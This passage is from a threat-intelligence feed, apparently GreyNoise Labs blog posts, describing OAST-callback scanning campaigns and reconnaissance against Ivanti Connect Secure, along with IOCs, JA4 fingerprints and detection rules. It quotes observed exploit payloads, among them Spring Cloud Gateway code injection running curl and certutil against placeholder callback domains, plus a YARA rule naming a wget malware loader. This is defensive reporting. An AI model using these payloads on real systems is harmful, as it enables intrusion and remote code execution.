<li><strong>Monitor OAST callbacks</strong> - Alert on connections to <code>.oast.*</code> domains</li>
<li><strong>Patch CVEs</strong> - Prioritize:
<ul>
<li>CVE-2020-14882/14883 (WebLogic)</li>
<li>Java deserialization vectors</li>
<li>IoT device firmware updates</li>
</ul></li>
</ol>
</section>
<section id="detection-engineering" class="level3">
<h3 class="anchored" data-anchor-id="detection-engineering">Detection Engineering</h3>
<p><strong>Network Signatures:</strong></p>
<pre><code># Anomalous MSS detection
alert tcp any any -&gt; any any (msg:"Anomalous MSS 65495 - Custom Scanner"; \
  tcp.mss: 65495; sid:1000001;)

# OAST domain pattern
alert dns any any -&gt; any 53 (msg:"Interactsh OAST Callback"; \
  dns.query; content:".oast."; sid:1000002;)</code></pre>
<p><strong>YARA for malware staging URL:</strong></p>
<pre class="yara"><code>rule Pastebin_9GEqrAq5_Malware_Loader {
  strings:
    $url = "pastebin.com/raw/9GEqrAq5"
    $wget = "wget -O run.sh"
  condition:
    any of them
}</code></pre>
</section>
<section id="long-term-monitoring" class="level3">
<h3 class="anchored" data-anchor-id="long-term-monitoring">Long-term Monitoring</h3>
<ol type="1">
<li><strong>Track machine ID evolution</strong> - Monitor for reuse of MAC prefixes (af:ed:d2, f7:37:86, 0f:7d:6a, 89:bb:62)</li>
<li><strong>JA4 fingerprint database</strong> - Add MSS 65495 patterns to threat intel feeds</li>
<li><strong>OAST domain correlation</strong> - Cross-reference k-sort values across future incidents</li>
</ol>
</section>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p>This analysis documents a multi-week reconnaissance campaign leveraging sophisticated OAST techniques across 48 distinct sub-campaigns. While the activity is noisy and detectable, the scale (5,531 callback domains), infrastructure diversity (28 machines), and exploit breadth indicate an organized operation.</p>
<p>The use of anomalous TCP fingerprints (MSS 65495) provides a high-confidence detection opportunity for defensive teams. Organizations should prioritize patching the identified CVEs and implementing OAST callback monitoring.</p>


</section>

 ]]></description>
  <category>OAST</category>
  <category>MCP</category>
  <category>projectdiscovery</category>
  <category>interactsh</category>
  <category>rce</category>
  <category>iocs</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <category>AI-Generated</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-01-31-weekly-oast-report/</guid>
  <pubDate>Sat, 31 Jan 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-01-31-weekly-oast-report/media/cover.png" medium="image" type="image/png" height="116" width="144"/>
</item>
<item>
  <title>Inside the Infrastructure: Who’s Scanning for Ivanti Connect Secure?</title>
  <dc:creator>Glenn Thorpe &amp; 🔮Orbie✨</dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-01-29-inside-the-infrastructure-whos-scanning-for-ivanti-connect-secure/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<p>Between January 21st and 28th, GreyNoise sensors observed reconnaissance activity against Ivanti Connect Secure jump roughly 100x above historical baselines (nope! not a typo!! 100x!!!).</p>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-01-29-inside-the-infrastructure-whos-scanning-for-ivanti-connect-secure/media/campaigns.png" class="img-fluid"></p>
<p>What made this spike interesting wasn’t just the volume—it was the structure. We’re tracking two distinct campaigns running in parallel, each with different infrastructure, pacing, and apparent objectives.</p>
<p>During this time, GreyNoise tracked two distinct campaigns targeting Ivanti Connect Secure’s <code>/dana-na/auth/url_default/welcome.cgi</code> endpoint. The campaigns share a target—CVE-2025-0282 (EPSS: 93.05%)—but diverge in infrastructure, tactics, and likely operators.</p>
<p>Let’s look at what the infrastructure tells us.</p>
<section id="campaign-1-the-as213790-cluster" class="level2">
<h2 class="anchored" data-anchor-id="campaign-1-the-as213790-cluster">Campaign 1: The AS213790 Cluster</h2>
<p>The higher-volume campaign concentrated in AS213790, operated by Limited Network LTD. This provider has appeared in previous reconnaissance campaigns—familiar territory for threat hunters.</p>
<p>The geographic footprint is clustered in Romania and Moldova. Over the observation window, this campaign generated:</p>
<ul>
<li><strong>34,172 total sessions</strong></li>
<li><strong>Peak rate of 1,310 requests/hour</strong></li>
<li><strong>Aggressive burst patterns</strong></li>
</ul>
<p>The infrastructure choice suggests operators are comfortable with “noisy” providers that tolerate scanning traffic. The burst pattern indicates automated tooling running hot—someone’s racing to enumerate targets before patches deploy.</p>
<p>(Side note: AS213790 showing up again is the network equivalent of that one neighbor’s car alarm. At some point, you stop being surprised.)</p>
</section>
<section id="campaign-2-the-distributed-approach" class="level2">
<h2 class="anchored" data-anchor-id="campaign-2-the-distributed-approach">Campaign 2: The Distributed Approach</h2>
<p>The second campaign took the opposite approach. Roughly 6,000 unique IPs participated, spread across multiple ASNs and geographies. No single provider dominated the traffic.</p>
<p>This distribution pattern is consistent with:</p>
<ul>
<li><strong>Botnet infrastructure</strong> – compromised hosts providing scanning capacity</li>
<li><strong>Residential proxy networks</strong> – purchased access to legitimate-appearing IPs</li>
<li><strong>Multi-cloud deployment</strong> – spinning up instances across providers to avoid concentration</li>
</ul>
<p>The pacing stayed lower and steadier than Campaign 1. This isn’t operators who want speed—it’s operators who want to avoid detection.</p>
</section>
<section id="comparing-the-campaigns" class="level2">
<h2 class="anchored" data-anchor-id="comparing-the-campaigns">Comparing the Campaigns</h2>
<table class="caption-top table">
<thead>
<tr class="header">
<th style="text-align: left;">Attribute</th>
<th style="text-align: left;">Campaign 1</th>
<th style="text-align: left;">Campaign 2</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td style="text-align: left;">Infrastructure</td>
<td style="text-align: left;">Concentrated (AS213790)</td>
<td style="text-align: left;">Distributed</td>
</tr>
<tr class="even">
<td style="text-align: left;">Geography</td>
<td style="text-align: left;">Romania/Moldova</td>
<td style="text-align: left;">Global</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Volume</td>
<td style="text-align: left;">34,172 sessions</td>
<td style="text-align: left;">~6,000 IPs</td>
</tr>
<tr class="even">
<td style="text-align: left;">Peak Rate</td>
<td style="text-align: left;">1,310/hour</td>
<td style="text-align: left;">Lower, sustained</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Strategy</td>
<td style="text-align: left;">Aggressive enumeration</td>
<td style="text-align: left;">Methodical reconnaissance</td>
</tr>
<tr class="even">
<td style="text-align: left;">Detection Risk</td>
<td style="text-align: left;">Higher</td>
<td style="text-align: left;">Lower</td>
</tr>
</tbody>
</table>
<p>Are these the same actor with different tooling, or competing groups targeting the same vulnerability? Both scenarios are plausible. The timing overlap—both campaigns active across the same week—could indicate coordination or simply shared awareness of a high-value target.</p>
</section>
<section id="the-target-cve-2025-0282" class="level2">
<h2 class="anchored" data-anchor-id="the-target-cve-2025-0282">The Target: CVE-2025-0282</h2>
<p>The campaigns converge on <code>/dana-na/auth/url_default/welcome.cgi</code>, the pre-exploitation version-check endpoint associated with CVE-2025-0282. With an EPSS score of 93.05%, this vulnerability ranks near the top of exploitability rankings. CVE-2025-0283 (EPSS: 0.18%) affects the same product but hasn’t generated the same level of interest.</p>
<p>The EPSS differential makes sense. Attackers prioritize vulnerabilities with proven exploitation paths. A 93% score signals that weaponization is either available or imminent.</p>
</section>
<section id="defender-takeaways" class="level2">
<h2 class="anchored" data-anchor-id="defender-takeaways">Defender Takeaways</h2>
<p>The infrastructure analysis reinforces what the volume already suggested: this is serious reconnaissance activity, not background noise.</p>
<ol type="1">
<li><strong>Patch status matters now.</strong> CVE-2025-0282 exploitation is a matter of when, not if.</li>
<li><strong>Log review should include the target path.</strong> External requests to <code>/dana-na/auth/url_default/welcome.cgi</code> deserve scrutiny.</li>
<li><strong>Network exposure deserves reassessment.</strong> Every internet-facing Ivanti instance is potentially on a target list.</li>
</ol>
</section>
<section id="ongoing-monitoring" class="level2">
<h2 class="anchored" data-anchor-id="ongoing-monitoring">Ongoing Monitoring</h2>
<p>We’re continuing to track both campaigns. As infrastructure patterns stabilize, we’ll publish IOCs for defenders to operationalize.</p>
<p>If you’re seeing hits against this endpoint in your environment, drop us a line. Collective visibility makes everyone’s picture clearer.</p>


</section>

 ]]></description>
  <category>IVanti</category>
  <category>CVE-2025-0282</category>
  <category>threat infrastructure</category>
  <category>AS213790</category>
  <category>reconnaissance</category>
  <category>cybersecurity</category>
  <category>AI-Assisted</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-01-29-inside-the-infrastructure-whos-scanning-for-ivanti-connect-secure/</guid>
  <pubDate>Thu, 29 Jan 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-01-29-inside-the-infrastructure-whos-scanning-for-ivanti-connect-secure/media/cover.png" medium="image" type="image/png" height="97" width="144"/>
</item>
<item>
  <title>GreyNoise Labs Weekly OAST (Well-known Out-of-band Interaction Domains) Report • Week Ending 2026-01-24</title>
  <dc:creator>🔮Orbie✨ </dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-01-24-weekly-oast-report/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<section id="overview" class="level2">
<h2 class="anchored" data-anchor-id="overview">Overview</h2>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-01-24-weekly-oast-report/media/campaigns.png" class="img-fluid"></p>
<p>GreyNoise sensors captured extensive scanning activity targeting web application vulnerabilities with Out-of-band Application Security Testing (OAST) callback domains embedded in exploit payloads. The activity spanned seven days with peak concentration on January 19 (3,548 sessions from 13 IP addresses), indicating a shift from distributed reconnaissance to focused exploitation attempts.</p>
<p>Fingerprint analysis revealed two distinct infrastructure patterns: standard Linux-based scanning (JA4T: 64240_2-4-8-1-3_1460_7, matched to WSL Ubuntu 22.04 in the JA4 database) and anomalous TCP configurations (JA4T: 65495_2-4-8-1-3_65495_7 and 33280_2-4-8-1-3_65495_7) with non-standard Maximum Segment Size values suggesting custom tooling.</p>
<p>OAST domain extraction and decoding produced 5,171 unique callback domains across six Interactsh providers (oast.site, oast.live, oast.me, oast.pro, oast.fun, oast.online), with campaign identifiers revealing 425 separate scanning operations. The top campaign (“nualr”) generated 1,450 unique OAST domains, while the second-largest (“or3ki”) produced 270 domains.</p>
<p>Infrastructure analysis indicates VPS and bulletproof hosting provider concentration, with the top source IP (146.70.116.218, AS9009 M247 Europe SRL, Austria) responsible for 41.8% of all observed sessions.</p>
</section>
<section id="temporal-analysis" class="level2">
<h2 class="anchored" data-anchor-id="temporal-analysis">Temporal Analysis</h2>
<table class="caption-top table">
<colgroup>
<col style="width: 9%">
<col style="width: 15%">
<col style="width: 18%">
<col style="width: 29%">
<col style="width: 27%">
</colgroup>
<thead>
<tr class="header">
<th>Date</th>
<th>Sessions</th>
<th>Unique IPs</th>
<th>Peak Hour Activity</th>
<th>Notable Patterns</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Jan 17</td>
<td>950</td>
<td>156</td>
<td>14:00 UTC (212 sessions)</td>
<td>Distributed reconnaissance phase</td>
</tr>
<tr class="even">
<td>Jan 18</td>
<td>2,991</td>
<td>261</td>
<td>06:00 UTC (180 sessions)</td>
<td>Activity escalation across multiple IPs</td>
</tr>
<tr class="odd">
<td>Jan 19</td>
<td>3,548</td>
<td>13</td>
<td>08:00-11:00 UTC</td>
<td><strong>Concentrated exploitation from AS9009</strong></td>
</tr>
<tr class="even">
<td>Jan 20</td>
<td>681</td>
<td>10</td>
<td>Sustained throughout day</td>
<td>Post-peak activity continuation</td>
</tr>
<tr class="odd">
<td>Jan 21</td>
<td>246</td>
<td>25</td>
<td>Intermittent bursts</td>
<td>Campaign wind-down</td>
</tr>
<tr class="even">
<td>Jan 22</td>
<td>471</td>
<td>13</td>
<td>Low sustained activity</td>
<td>Residual scanning</td>
</tr>
<tr class="odd">
<td>Jan 23</td>
<td>117</td>
<td>13</td>
<td>Sporadic sessions</td>
<td>Campaign conclusion</td>
</tr>
</tbody>
</table>
<p>The temporal distribution reveals a classic three-phase pattern: initial distributed reconnaissance (Jan 17), scaling exploitation (Jan 18-19), and sustained lower-volume activity (Jan 20-23). The sharp concentration on January 19 with only 13 source IPs generating 3,548 sessions indicates a transition from broad scanning to focused exploitation infrastructure.</p>
</section>
<section id="primary-campaign-analysis" class="level2">
<h2 class="anchored" data-anchor-id="primary-campaign-analysis">Primary Campaign Analysis</h2>
<section id="campaign-1-spring-cloud-gateway-code-injection-dominant" class="level3">
<h3 class="anchored" data-anchor-id="campaign-1-spring-cloud-gateway-code-injection-dominant">Campaign 1: Spring Cloud Gateway Code Injection (Dominant)</h3>
<ul>
<li><strong>Sessions:</strong> 2,189+</li>
<li><strong>Unique IPs:</strong> 177</li>
<li><strong>Primary Fingerprint:</strong> 65495_2-4-8-1-3_65495_7 + po11nn060000_4ea4093e6290_000000000000_000000000000</li>
<li><strong>Secondary Fingerprint:</strong> 64240_2-4-8-1-3_1460_7 + po11nn060000_4ea4093e6290_000000000000_000000000000</li>
<li><strong>Target Vulnerability:</strong> <a href="https://viz.greynoise.io/tags/spring-cloud-gateway-code-injection-attempt?utm_source=labs-blog">Spring Cloud Gateway Code Injection</a></li>
<li><strong>OAST Provider:</strong> All six Interactsh providers</li>
<li><strong>Top OAST Campaigns:</strong> nualr (1,450 domains), or3ki (270 domains), mmr8b (158 domains)</li>
</ul>
<p>This campaign represents the majority of observed activity and demonstrates sophisticated scanning infrastructure. The consistent use of OAST callbacks across exploit attempts indicates automated tooling designed to detect successful exploitation through out-of-band DNS/HTTP callbacks.</p>
<p><strong>Infrastructure Characteristics:</strong> - Anomalous MSS value (65495) in 2,096 sessions suggests custom TCP stack or modified scanning tool - 232 unique IPs associated with primary fingerprint cluster - Geographic distribution: Austria, Singapore, Malaysia, United Kingdom, France, India, United States - ASN concentration: AS9009 (M247 Europe), AS47583, AS55836, AS14061 (DigitalOcean), AS64457, AS51167 (Contabo)</p>
<p><strong>OAST Decoding Analysis:</strong> - Campaign identifier “<code>nualr</code>”: 1,450 domains from <code>machine_id fa:81:71</code>, PID <code>1181</code> - Campaign identifier “<code>or3ki</code>”: 270 domains from <code>machine_id c8:c1:ba</code>, PID <code>4854</code> - Campaign identifier “<code>mmr8b</code>”: 158 domains from <code>machine_id b3:b3:01</code>, PID <code>4376</code></p>
<p>The distinct machine IDs and PIDs indicate at least three separate scanning instances contributing to this campaign, likely coordinated infrastructure or distinct operators using similar tooling.</p>
</section>
<section id="campaign-2-keycloak-open-redirect-cve-2024-8883" class="level3">
<h3 class="anchored" data-anchor-id="campaign-2-keycloak-open-redirect-cve-2024-8883">Campaign 2: Keycloak Open Redirect CVE-2024-8883</h3>
<ul>
<li><strong>Sessions:</strong> 296</li>
<li><strong>Unique IPs:</strong> 2-3 distinct</li>
<li><strong>Primary Fingerprint:</strong> Various (distributed across multiple fingerprints)</li>
<li><strong>Target Vulnerability:</strong> <a href="https://viz.greynoise.io/tags/keycloak-oidc-request-uri-ssrf-cve-2020-10770-attempt?utm_source=labs-blog">CVE-2024-8883 (Keycloak Open Redirect)</a></li>
<li><strong>OAST Provider:</strong> Primarily oast.site and oast.live</li>
</ul>
<p>This secondary campaign represents focused exploitation attempts against Keycloak authentication systems. The low IP count (2-3 sources) with 296 sessions indicates high-volume automated scanning from concentrated infrastructure.</p>
</section>
</section>
<section id="payload-analysis" class="level2">
<h2 class="anchored" data-anchor-id="payload-analysis">Payload Analysis</h2>
<table class="caption-top table">
<colgroup>
<col style="width: 18%">
<col style="width: 13%">
<col style="width: 15%">
<col style="width: 28%">
<col style="width: 23%">
</colgroup>
<thead>
<tr class="header">
<th>Payload Type</th>
<th>Sessions</th>
<th>Unique IPs</th>
<th>Primary CVE/Technique</th>
<th>OAST Integration</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Spring Cloud Gateway Injection</td>
<td>2,189+</td>
<td>177</td>
<td>Various Spring CVEs</td>
<td>Command injection with callback URLs</td>
</tr>
<tr class="even">
<td>Keycloak Open Redirect</td>
<td>296</td>
<td>2-3</td>
<td>CVE-2024-8883</td>
<td>Redirect to OAST domains</td>
</tr>
<tr class="odd">
<td>Generic Web Crawler</td>
<td>9,004</td>
<td>313</td>
<td>N/A</td>
<td>All sessions tagged as web crawler activity</td>
</tr>
</tbody>
</table>
<p><strong>Exploit Pattern Examples:</strong></p>
<p>Spring Cloud Gateway attempts use variations of:</p>
<pre><code>/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("curl http://[OAST-DOMAIN]")}__::.x/
/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("certutil -urlcache -split -f http://[OAST-DOMAIN]")}__::.x/</code></pre>
<p>Keycloak exploitation follows redirect patterns:</p>
<pre><code>/realms/master/protocol/openid-connect/auth?redirect_uri=http://[OAST-DOMAIN]</code></pre>
<p>Additional exploitation vectors identified: - Command injection: <code>/ddns_check.ccp</code> with <code>curl https://[OAST-DOMAIN]</code> in parameters - XML external entity (XXE): <code>/sitecore/shell/ClientBin/Reporting/Report.ashx</code> with LDAP OAST callbacks - Directory traversal with command execution: <code>/misc/</code>curl${IFS}[OAST-DOMAIN]<code>/..;/index.html</code></p>
<p>All payloads demonstrate callback verification strategy - attackers use OAST domains to detect successful exploitation when direct response observation is not reliable.</p>
</section>
<section id="infrastructure-analysis" class="level2">
<h2 class="anchored" data-anchor-id="infrastructure-analysis">Infrastructure Analysis</h2>
<section id="fingerprint-clustering" class="level3">
<h3 class="anchored" data-anchor-id="fingerprint-clustering">Fingerprint Clustering</h3>
<table class="caption-top table">
<colgroup>
<col style="width: 21%">
<col style="width: 21%">
<col style="width: 12%">
<col style="width: 14%">
<col style="width: 6%">
<col style="width: 23%">
</colgroup>
<thead>
<tr class="header">
<th>JA4T Fingerprint</th>
<th>JA4H Fingerprint</th>
<th>Sessions</th>
<th>Unique IPs</th>
<th>MSS</th>
<th>Identified OS/Tool</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>65495_2-4-8-1-3_65495_7</td>
<td>po11nn060000_4ea4093e6290</td>
<td>2,096</td>
<td>232</td>
<td>65495</td>
<td>Custom/Unknown</td>
</tr>
<tr class="even">
<td>64240_2-4-8-1-3_1460_7</td>
<td>po11nn060000_4ea4093e6290</td>
<td>1,002</td>
<td>188</td>
<td>1460</td>
<td>WSL Ubuntu 22.04</td>
</tr>
<tr class="odd">
<td>65495_2-4-8-1-3_65495_7</td>
<td>ge11nn06en00_0e5d97bc8ad6</td>
<td>761</td>
<td>7</td>
<td>65495</td>
<td>Custom/Unknown</td>
</tr>
<tr class="even">
<td>65495_2-4-8-1-3_65495_7</td>
<td>ge11nn040000_8391bea91fb6</td>
<td>471</td>
<td>3</td>
<td>65495</td>
<td>Custom/Unknown</td>
</tr>
<tr class="odd">
<td>65495_2-4-8-1-3_65495_7</td>
<td>ge11nn040000_532a1ee47909</td>
<td>371</td>
<td>10</td>
<td>65495</td>
<td>Custom/Unknown</td>
</tr>
</tbody>
</table>
<p><strong>Key Finding:</strong> The MSS value of 65495 is highly anomalous. Standard Ethernet MTU produces MSS=1460. The 64,035 byte delta suggests:</p>
<ol type="1">
<li>Custom network stack modification in scanning tool</li>
<li>Unusual VPN/tunnel configuration</li>
<li>Deliberately anomalous fingerprinting to avoid detection signatures</li>
</ol>
<p>This fingerprint cluster accounts for 4,012 sessions (44.6% of total activity) and appears across 215 unique JA4T+JA4H combinations, indicating either a single widely-deployed tool or multiple tools sharing similar TCP stack configurations.</p>
</section>
<section id="asn-distribution" class="level3">
<h3 class="anchored" data-anchor-id="asn-distribution">ASN Distribution</h3>
<table class="caption-top table">
<colgroup>
<col style="width: 7%">
<col style="width: 20%">
<col style="width: 13%">
<col style="width: 14%">
<col style="width: 11%">
<col style="width: 31%">
</colgroup>
<thead>
<tr class="header">
<th>ASN</th>
<th>Organization</th>
<th>Country</th>
<th>Sessions</th>
<th>Top IP</th>
<th>Fingerprint Pattern</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>AS9009</td>
<td>M247 Europe SRL</td>
<td>Austria</td>
<td>3,766</td>
<td>146.70.116.218</td>
<td>MSS=65495 dominant</td>
</tr>
<tr class="even">
<td>AS200019</td>
<td>ALEXHOST SRL</td>
<td>Moldova</td>
<td>560</td>
<td>193.233.202.173</td>
<td>MSS=65495</td>
</tr>
<tr class="odd">
<td>AS27176</td>
<td>DataWagon LLC</td>
<td>United States</td>
<td>488</td>
<td>103.60.12.224</td>
<td>MSS=1460</td>
</tr>
<tr class="even">
<td>AS150654</td>
<td>Kennies Star India Pvt Ltd</td>
<td>India</td>
<td>444</td>
<td>38.225.206.91</td>
<td>Mixed</td>
</tr>
<tr class="odd">
<td>AS51167</td>
<td>Contabo GmbH</td>
<td>France/UK</td>
<td>447</td>
<td>Multiple</td>
<td>MSS=65495 and 1460</td>
</tr>
<tr class="even">
<td>AS14061</td>
<td>DigitalOcean LLC</td>
<td>Singapore/US</td>
<td>297</td>
<td>Multiple</td>
<td>MSS=65495 and 1460</td>
</tr>
</tbody>
</table>
<p>Infrastructure is heavily concentrated in VPS and bulletproof hosting providers. AS9009 (M247 Europe) accounts for 41.8% of all sessions from a single IP address (146.70.116.218), active January 19-20 with 3,766 sessions over 27 hours.</p>
</section>
</section>
<section id="attribution-assessment" class="level2">
<h2 class="anchored" data-anchor-id="attribution-assessment">Attribution Assessment</h2>
<p><strong>Confidence: Medium</strong></p>
<p><strong>Evidence for coordinated operations:</strong></p>
<ul>
<li>425 distinct OAST campaign identifiers decoded from callback domains</li>
<li>Consistent targeting of Spring Cloud Gateway across multiple fingerprint clusters</li>
<li>Shared OAST provider infrastructure (Interactsh) across campaigns</li>
<li>Temporal clustering suggests campaign coordination or shared tasking</li>
</ul>
<p><strong>Evidence for distinct operators:</strong></p>
<ul>
<li>Wide variance in JA4T+JA4H fingerprint combinations (215 unique pairings)</li>
<li>Different machine IDs in OAST decoded data (indicating separate scanning instances)</li>
<li>Geographic and ASN distribution suggests distributed infrastructure rather than single operator</li>
<li>Mixed use of standard Linux fingerprints (WSL Ubuntu) and anomalous TCP stacks</li>
</ul>
<p><strong>Assessment:</strong></p>
<p>This activity likely represents multiple threat actors or scanning operations using similar tooling (likely Interactsh-based vulnerability scanners). The anomalous MSS=65495 fingerprint may indicate a specific commercial or open-source scanning tool with custom network configuration, deployed by multiple operators. The concentration in VPS/bulletproof hosting infrastructure is consistent with opportunistic scanning campaigns rather than targeted intrusions.</p>
<p>The decoded OAST campaign identifiers suggest at least 425 separate scanning instances, though many may be retrying operations or parallel scanning from the same infrastructure. The top three campaigns (nualr, or3ki, mmr8b) account for 1,878 domains (36.3% of decoded OAST callbacks) and likely represent the most active operators.</p>
</section>
<section id="network-iocs" class="level2">
<h2 class="anchored" data-anchor-id="network-iocs">Network IOCs</h2>
<section id="primary-source-ips-top-20" class="level3">
<h3 class="anchored" data-anchor-id="primary-source-ips-top-20">Primary Source IPs (Top 20)</h3>
<table class="caption-top table">
<colgroup>
<col style="width: 16%">
<col style="width: 12%">
<col style="width: 6%">
<col style="width: 19%">
<col style="width: 13%">
<col style="width: 16%">
<col style="width: 15%">
</colgroup>
<thead>
<tr class="header">
<th>IP Address</th>
<th>Country</th>
<th>ASN</th>
<th>Organization</th>
<th>Sessions</th>
<th>First Seen</th>
<th>Last Seen</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>146.70.116.218</td>
<td>Austria</td>
<td>AS9009</td>
<td>M247 Europe SRL</td>
<td>3,766</td>
<td>2026-01-19 08:39</td>
<td>2026-01-20 11:37</td>
</tr>
<tr class="even">
<td>193.233.202.173</td>
<td>Moldova</td>
<td>AS200019</td>
<td>ALEXHOST SRL</td>
<td>560</td>
<td>2026-01-17 05:00</td>
<td>2026-01-22 05:27</td>
</tr>
<tr class="odd">
<td>103.60.12.224</td>
<td>United States</td>
<td>AS27176</td>
<td>DataWagon LLC</td>
<td>488</td>
<td>2026-01-18 07:13</td>
<td>2026-01-18 07:15</td>
</tr>
<tr class="even">
<td>38.225.206.91</td>
<td>India</td>
<td>AS150654</td>
<td>Kennies Star India Pvt Ltd</td>
<td>444</td>
<td>2026-01-22 05:58</td>
<td>2026-01-22 17:58</td>
</tr>
<tr class="odd">
<td>37.60.230.90</td>
<td>France</td>
<td>AS51167</td>
<td>Contabo GmbH</td>
<td>378</td>
<td>2026-01-17 18:35</td>
<td>2026-01-20 00:18</td>
</tr>
<tr class="even">
<td>34.19.112.35</td>
<td>United States</td>
<td>AS396982</td>
<td>Google LLC</td>
<td>179</td>
<td>2026-01-19 22:32</td>
<td>2026-01-20 05:26</td>
</tr>
<tr class="odd">
<td>129.212.209.250</td>
<td>Singapore</td>
<td>AS14061</td>
<td>DigitalOcean LLC</td>
<td>98</td>
<td>2026-01-17 19:47</td>
<td>2026-01-21 22:04</td>
</tr>
<tr class="even">
<td>149.102.131.223</td>
<td>United Kingdom</td>
<td>AS51167</td>
<td>Contabo GmbH</td>
<td>69</td>
<td>2026-01-19 21:23</td>
<td>2026-01-20 09:24</td>
</tr>
<tr class="odd">
<td>168.107.59.85</td>
<td>South Korea</td>
<td>AS31898</td>
<td>Oracle Corporation</td>
<td>66</td>
<td>2026-01-23 09:05</td>
<td>2026-01-23 09:12</td>
</tr>
<tr class="even">
<td>216.106.186.24</td>
<td>United States</td>
<td>AS63023</td>
<td>GTHost</td>
<td>62</td>
<td>2026-01-18 13:23</td>
<td>2026-01-20 18:05</td>
</tr>
</tbody>
</table>
</section>
<section id="oast-providers-and-campaign-identifiers" class="level3">
<h3 class="anchored" data-anchor-id="oast-providers-and-campaign-identifiers">OAST Providers and Campaign Identifiers</h3>
<p><strong>Interactsh Provider Distribution:</strong> - oast.site: 2,190 domains (42.3%) - oast.live: 857 domains (16.6%) - oast.me: 705 domains (13.6%) - oast.pro: 517 domains (10.0%) - oast.fun: 478 domains (9.2%) - oast.online: 424 domains (8.2%)</p>
<p><strong>Top OAST Campaign Identifiers:</strong> 1. <code>nualr</code> - 1,450 domains (machine_id: fa:81:71, PID: 1181) 2. <code>or3ki</code> - 270 domains (machine_id: c8:c1:ba, PID: 4854) 3. <code>mmr8b</code> - 158 domains (machine_id: b3:b3:01, PID: 4376) 4. <code>djnqr</code> - 147 domains (machine_id: b3:be:b7, PID: 23985) 5. <code>umr8b</code> - 102 domains (machine_id: eb:b3:01, PID: 4396)</p>
<p><em>Note: 5,171 unique OAST domains decoded across 425 total campaign identifiers.</em></p>
</section>
<section id="ja4-fingerprints-for-detection" class="level3">
<h3 class="anchored" data-anchor-id="ja4-fingerprints-for-detection">JA4 Fingerprints for Detection</h3>
<p><strong>High-Confidence Malicious Fingerprints:</strong></p>
<p>JA4T (TCP):</p>
<pre><code>65495_2-4-8-1-3_65495_7  # Anomalous MSS - 4,012 sessions
33280_2-4-8-1-3_65495_7  # Anomalous MSS - 279 sessions
64240_2-4-8-1-3_1460_7   # Standard MSS but high volume - 1,385 sessions</code></pre>
<p>JA4H (HTTP) - Top Patterns:</p>
<pre><code>po11nn060000_4ea4093e6290_*  # 3,377 sessions
ge11nn06en00_0e5d97bc8ad6_*  # 917 sessions
ge11nn040000_8391bea91fb6_*  # 471 sessions
ge11nn040000_532a1ee47909_*  # 371 sessions</code></pre>
<p>Combined JA4T+JA4H pairs provide highest fidelity for detection (see Infrastructure Analysis table above for top combinations).</p>
</section>
</section>
<section id="detection-recommendations" class="level2">
<h2 class="anchored" data-anchor-id="detection-recommendations">Detection Recommendations</h2>
<ol type="1">
<li><p><strong>Block or alert on source IPs</strong> associated with AS9009, AS200019, AS27176, AS150654 when combined with OAST callback patterns (see Network IOCs section for full list).</p></li>
<li><p><strong>Monitor for JA4T fingerprints with MSS=65495</strong> - this anomalous value is rare in legitimate traffic and strongly correlated with scanning activity in this dataset. Network defenders should create alerts for TCP connections with this characteristic MSS value.</p></li>
<li><p><strong>Implement JA4 fingerprint-based detection rules</strong> for the top 5 JA4T+JA4H combinations listed in Infrastructure Analysis. These fingerprints account for 4,701 sessions (52.2% of total activity).</p></li>
<li><p><strong>Prioritize patching Spring Cloud Gateway vulnerabilities</strong> - this framework represents the primary target across observed campaigns. Organizations running Spring Cloud Gateway should audit versions and apply available security updates.</p></li>
<li><p><strong>Patch Keycloak CVE-2024-8883</strong> if using affected versions - while lower volume, this vulnerability was actively scanned and represents a viable attack vector for authentication bypass.</p></li>
<li><p><strong>Implement DNS monitoring for Interactsh OAST domains</strong> - all six Interactsh providers (oast.site, oast.live, oast.me, oast.pro, oast.fun, oast.online) were observed. Outbound DNS queries or HTTP connections to these domains from internal infrastructure indicate potential successful exploitation.</p></li>
<li><p><strong>WAF rules for OAST callback patterns</strong> - implement detection for URL-encoded OAST domain patterns in HTTP parameters, particularly in Spring Cloud Gateway endpoints (/hystrix/*) and authentication flows.</p></li>
<li><p><strong>Alert on command injection payloads</strong> with curl, certutil, wget, or similar download utilities followed by external domain names in web request parameters.</p></li>
<li><p><strong>Monitor for LDAP OAST callback attempts</strong> - some payloads use LDAP protocol for out-of-band callbacks (ldap://[OAST-DOMAIN]/), particularly in XXE exploitation attempts.</p></li>
<li><p><strong>Implement rate limiting</strong> on vulnerable endpoints - the high session volume from individual IPs (3,766 from a single source) demonstrates lack of rate limiting as a contributing factor.</p></li>
</ol>
</section>
<section id="gnql-queries" class="level2">
<h2 class="anchored" data-anchor-id="gnql-queries">GNQL Queries</h2>
<p>Investigate similar activity in GreyNoise:</p>
